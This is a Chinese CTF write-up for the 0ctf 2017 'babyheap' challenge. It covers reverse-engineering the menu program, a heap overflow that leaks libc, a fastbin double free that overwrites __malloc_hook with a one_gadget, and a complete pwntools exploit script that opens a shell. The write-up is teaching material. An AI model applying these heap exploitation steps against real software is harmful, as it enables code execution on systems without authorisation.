0ctf babyheap

文件信息

pwndbg> checksec
[*] '/mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开

pwndbg> r
Starting program: /mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap 
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 

是菜单程序:1申请,2编辑,3释放,4读取

逆向分析

主程序:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = sub_55E213200B70(a1, a2, a3);
  while ( 1 )
  {
    menu();
    switch ( getNum() )
    {
      case 1LL:
        Add(v4);
        break;
      case 2LL:
        Edit(v4);
        break;
      case 3LL:
        Free(v4);
        break;
      case 4LL:
        Show(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

Add函数:

void __fastcall Add(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int size; // [rsp+14h] [rbp-Ch]
  void *memPtr; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      size = getNum();
      if ( size > 0 )
      {
        if ( size > 4096 )
          size = 4096;
        memPtr = calloc(size, 1uLL);            // calloc will clear mem
        if ( !memPtr )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;         // this is a struct
        *(_QWORD *)(a1 + 24LL * i + 8) = size;
        *(_QWORD *)(a1 + 24LL * i + 16) = memPtr;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

这里貌似用了一个结构来保存申请的信息,创建一下:

00000000 MemInfo         struc ; (sizeof=0x18, mappedto_18)
00000000 isEnable        dq ?
00000008 size            dq ?
00000010 memPtr          dq ?
00000018 MemInfo         ends

Edit函数:

__int64 __fastcall Edit(MemInfo *a1)
{
  __int64 buf; // rax
  int index_; // [rsp+18h] [rbp-8h]
  int size; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  buf = getNum();
  index_ = buf;
  if ( (unsigned int)buf <= 0xF )               // max chunk count = 16
  {
    buf = LODWORD(a1[(int)buf].isEnable);       // get index
    if ( (_DWORD)buf == 1 )                     // 1 represent enable
    {
      printf("Size: ");
      buf = getNum();
      size = buf;
      if ( (int)buf > 0 )
      {
        printf("Content: ");
        return call_Read2(a1[index_].memPtr, size);
      }
    }
  }
  return buf;
}

找到对应的chunk,然后向其中读取内容

Free函数:

__int64 __fastcall Free(MemInfo *a1)
{
  __int64 result; // rax
  int index; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = getNum();
  index = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = LODWORD(a1[(int)result].isEnable);
    if ( (_DWORD)result == 1 )
    {
      LODWORD(a1[index].isEnable) = 0;          // set 0
      a1[index].size = 0LL;                     // set size = 0
      free((void *)a1[index].memPtr);           // free mem
      result = (__int64)&a1[index];             // clear value
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}

Show函数:

unsigned int __fastcall Show(MemInfo *a1)
{
  unsigned int result; // eax
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = getNum();
  v2 = result;
  if ( result <= 0xF )
  {
    result = a1[result].isEnable;
    if ( result == 1 )
    {
      puts("Content: ");
      call_Write(a1[v2].memPtr, a1[v2].size);
      return puts(byte_55E2132014F1);
    }
  }
  return result;
}

利用

可用性通过数组成员的值和其标志位来确认,不存在UAF

Edit函数编辑的时候检查的大小来自用户输入,存在溢出问题

这里虽然有数组来保存申请的地址信息,但是PIE的存在,让unlink技术难度很高

这里有一个思路就是,通过溢出,去修改fastbin chunk的指针,测试一下:


chunk1 = add(24)
chunk2 = add(24)
chunk3 = add(24)

free(chunk3)
free(chunk2)

edit(chunk1,24+0x10,b'a'*24 + pack(0x21) + pack(0xdeadbeef))

效果:可行

pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.


0x563e52224000 0x0000000000000000 0x0000000000000021 ........!.......
0x563e52224010 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x563e52224020 0x6161616161616161 0x0000000000000021 aaaaaaaa!....... <-- fastbins[0x20][0]
0x563e52224030 0x00000000deadbeef 0x0000000000000000 ................
0x563e52224040 0x0000000000000000 0x0000000000000021 ........!.......
0x563e52224050 0x0000000000000000 0x0000000000000000 ................
0x563e52224060 0x0000000000000000 0x0000000000020fa1 ................ <-- Top chunk

可以通过这种方式去修改fastbin的指针,然后去寻找可用的fake chunk申请内存:

pwndbg> find_fake_fast &__malloc_hook
global_max_fast symbol not found, using the default value: 0x80
Use `set global-max-fast

` to set the address of global_max_fast manually if needed.
Searching for fastbin size fields up to 0x80, starting at 0x7f5eeb894a98 resulting in an overlap of 0x7f5eeb894b10
FAKE CHUNKS
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f5eeb894aed
prev_size: 0x5eeb893260000000
size: 0x7f
fd: 0x5eeb555e20000000
bk: 0x5eeb555a0000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00

这里需要0x70大小的fastbin chunk

现在目标明确了,最终是要通过fastbin dup进行利用

现在的问题在于,需要一个libc info leak

libc info leak

可以通过读取unsortedbin chunk的指针来拿到libc的地址

因为能读取的大小是在add的时候就限定死了,没法越界读

这里的一个思路是,申请两个unsorted size chunk,然后通过溢出修改第二个chunk的prev_inused标志位为0,释放第二个的时候触发合并,这样第一个chunk既是可用的,又有了libc的地址,但这里有safe unlink的缓解机制,就没法用了

下一个思路是:申请一个小chunk,通过溢出让其大小变大,大到覆盖下一个chunk,然后再次申请的时候,经过分割,使得新的unsortedbin指针落到我们可用chunk上:

chunk1 = add(0x88)
chunk2 = add(0x88)
chunk3 = add(0x88)
add(0x18)   # 分隔top chunk
edit(chunk1,0x90,b'\x00'*0x88 + pack(0x90*2+1))
free(chunk2)
chunk4 = add(0x88)
a = show(chunk3)[:8]
print(hex(uu64(a)))

结果:

pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.


0x560635da7000 0x0000000000000000 0x0000000000000091 ................
0x560635da7010 0x0000000000000000 0x0000000000000000 ................
0x560635da7020 0x0000000000000000 0x0000000000000000 ................
0x560635da7030 0x0000000000000000 0x0000000000000000 ................
0x560635da7040 0x0000000000000000 0x0000000000000000 ................
0x560635da7050 0x0000000000000000 0x0000000000000000 ................
0x560635da7060 0x0000000000000000 0x0000000000000000 ................
0x560635da7070 0x0000000000000000 0x0000000000000000 ................
0x560635da7080 0x0000000000000000 0x0000000000000000 ................

0x560635da7090 0x0000000000000000 0x0000000000000091 ................
0x560635da70a0 0x0000000000000000 0x0000000000000000 ................
0x560635da70b0 0x0000000000000000 0x0000000000000000 ................
0x560635da70c0 0x0000000000000000 0x0000000000000000 ................
0x560635da70d0 0x0000000000000000 0x0000000000000000 ................
0x560635da70e0 0x0000000000000000 0x0000000000000000 ................
0x560635da70f0 0x0000000000000000 0x0000000000000000 ................
0x560635da7100 0x0000000000000000 0x0000000000000000 ................
0x560635da7110 0x0000000000000000 0x0000000000000000 ................

0x560635da7120 0x0000000000000000 0x0000000000000091 ................ <-- unsortedbin[all][0]
0x560635da7130 0x00007f0f908eab78 0x00007f0f908eab78 x.......x.......
0x560635da7140 0x0000000000000000 0x0000000000000000 ................
0x560635da7150 0x0000000000000000 0x0000000000000000 ................
0x560635da7160 0x0000000000000000 0x0000000000000000 ................
0x560635da7170 0x0000000000000000 0x0000000000000000 ................
0x560635da7180 0x0000000000000000 0x0000000000000000 ................
0x560635da7190 0x0000000000000000 0x0000000000000000 ................
0x560635da71a0 0x0000000000000000 0x0000000000000000 ................

0x560635da71b0 0x0000000000000090 0x0000000000000020 ........ .......
0x560635da71c0 0x0000000000000000 0x0000000000000000 ................

0x560635da71d0 0x0000000000000000 0x0000000000020e31 ........1....... <-- Top chunk

顺利读出地址:0x7f0f908eab78

fastbin dup

接下来进行fastbin dup,要进行一次双重释放控制fastbin指针

这里很巧的就是,unsortedbin chunk我们可以申请0x68大小的chunk来分割这个unsortedbin chunk

这样就能拿到两个内存是申请在同一个位置的了,然后绕过fastbin 双重释放的缓解即可:

chunk33 = add(0x68)
chunk5 = add(0x68)
free(chunk33)
free(chunk5)
free(chunk3)

结果:

pwndbg> bin
fastbins
0x70: 0x565437731120 —▸ 0x5654377311d0 ◂— 0x565437731120
unsortedbin
empty
smallbins
0x20: 0x565437731190 —▸ 0x7fbe9d02cb88 ◂— 0x565437731190
largebins
empty

接下来就是构造fake chunk地址,修改malloc hook,去执行one_gadget拿shell了


fake_chunk = libc.sym.__malloc_hook - 35
chunkA = add(0x68)
edit(chunkA,0x8,pack(fake_chunk))
add(0x68)
add(0x68)
fake = add(0x68)
one_gadget = libc.address + 0x4526a
edit(fake,35-8,b'0'*(35-16) + pack(one_gadget))
add(0x68)

感觉这里通过溢出来修改fastbin chunk指针更简洁

完整exp

#!/bin/python3
from pwn import *

FILE_NAME = "0ctfbabyheap"
REMOTE_HOST = ""
REMOTE_PORT = 0


elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)



""" """
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda m, t : io.recv(numb=m, timeout=t)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
sd  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
ia  = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
""" """


# ======= helper function ===============

# Calculate the "wraparound" distance between two addresses.
def delta(x, y):
    return (0xffffffffffffffff - x) + y


opt_add = 1
opt_edit = 2
opt_free = 3
opt_show = 4
menu = ""

def add(size):
    sla(menu, str(opt_add))
    sla(b"Size: ", str(size))
    ru(b"Allocate Index ")
    index = ru(b"\n")[:-1]
    return index.decode('utf-8')

def edit(idx, size ,content):
    sla(menu, str(opt_edit))
    sla(b"Index: ", str(idx))
    sla(b"Size: ", str(size))
    sla(b"Content: ", content)

def free(idx):
    sla(menu, str(opt_free))
    sla(b"Index: ", str(idx))

def show(idx):
    sla(menu, str(opt_show))
    sla(b"Index: ", str(idx))
    ru(b"Content: \n")
    value = ru(b"1. ")[:-4]
    return value

# =======================================

io = start()
io.timeout = 0.1


# =============================================================================
# ============== exploit ===================

# libc info leak
chunk1 = add(0x88)
chunk2 = add(0x88)
chunk3 = add(0x88)
add(0x18)   # 分隔top chunk
edit(chunk1,0x90,b'\x00'*0x88 + pack(0x90*2+1))
free(chunk2)
chunk4 = add(0x88)
a = uu64(show(chunk3)[:8])
libc.address = a - 3951480
print("[libc address]: "+hex(libc.address))

# fastbin dup
# double free
chunk33 = add(0x68)
chunk5 = add(0x68)
free(chunk33)
free(chunk5)
free(chunk3)

# fake chunk
fake_chunk = libc.sym.__malloc_hook - 35
chunkA = add(0x68)
edit(chunkA,0x8,pack(fake_chunk))
add(0x68)
add(0x68)
fake = add(0x68)
one_gadget = libc.address + 0x4526a
edit(fake,35-8,b'0'*(35-16) + pack(one_gadget))
add(0x68)
# =============================================================================

io.interactive()
"""
➜  0ctf_babyheap one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

极安御信安全研究院

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值